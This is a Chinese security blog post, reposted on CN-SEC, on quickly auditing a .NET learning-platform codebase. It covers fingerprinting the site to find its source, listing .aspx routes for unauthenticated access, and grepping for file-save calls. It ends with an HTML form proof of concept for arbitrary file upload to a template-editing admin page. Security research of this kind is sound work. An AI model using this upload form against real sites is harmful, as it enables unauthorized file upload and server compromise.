一、寻找源码
"/templates/web/netschool/corescripts/verify.js"
搜出来的相同站点比较多,根据案例里的连接挨个访问,在某个站底部发现版权为某厦商学院学习平台,知道版权就很容易找到源码了。二、快速审计技巧
0x01 确定路由结构
0x02 未授权访问
先用命令导出所有脚本结构
C:UsersAdministratorDesktopwxqysxy-a5>dir /a /s /b *.aspx
C:UsersAdministratorDesktopwxqysxy-a5PayWeixinNativePayPage.aspx
C:UsersAdministratorDesktopwxqysxy-a5PayWeixinOrderQueryPage.aspx
C:UsersAdministratorDesktopwxqysxy-a5PayWeixinProductPage.aspx
C:UsersAdministratorDesktopwxqysxy-a5PayWeixinPublicPay.aspx
C:UsersAdministratorDesktopwxqysxy-a5PayWeixinRefundPage.aspx
C:UsersAdministratorDesktopwxqysxy-a5PayWeixinRefundQueryPage.aspx
C:UsersAdministratorDesktopwxqysxy-a5PayWeixinResultNotifyPage.aspx
C:UsersAdministratorDesktopwxqysxy-a5UtilityCodeImg.aspx
C:UsersAdministratorDesktopwxqysxy-a5UtilityDefault.aspx
0x03 任意文件上传
C:UsersAdministratorDesktopshop>findstr /msi /c:"saveas" *.*
Song.Site.Manage.AdminSetup_Qrcode.cs
Song.Site.Manage.AdminSetup_Stamp.cs
Song.Site.Manage.PanelAuthorization.cs
Song.Site.Manage.TemplateList_Edit.cs
Song.Site.Manage.UtilityExcelInput.cs
Song.Site.Manage.Utility.UploadPathUploading.cs
Song.Site.UtilityExamFileUp.cs
<form id="LoginForm" action="http://x:8084/Manage/Template/List_Edit.aspx" method="post" enctype="multipart/form-data">
<div class="aspNetHidden">
<input type="text" name="org">
<input type="text" name="NSRSBH">
<input type="file" name="org">
<input type="submit" name="btn_Click" id="btn_Click">
注:如有侵权请联系删除
学习更多技术,关注我:
原文始发于微信公众号(编码安全研究):记一次项目中如何快速定位.net漏洞点
特别标注:
本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论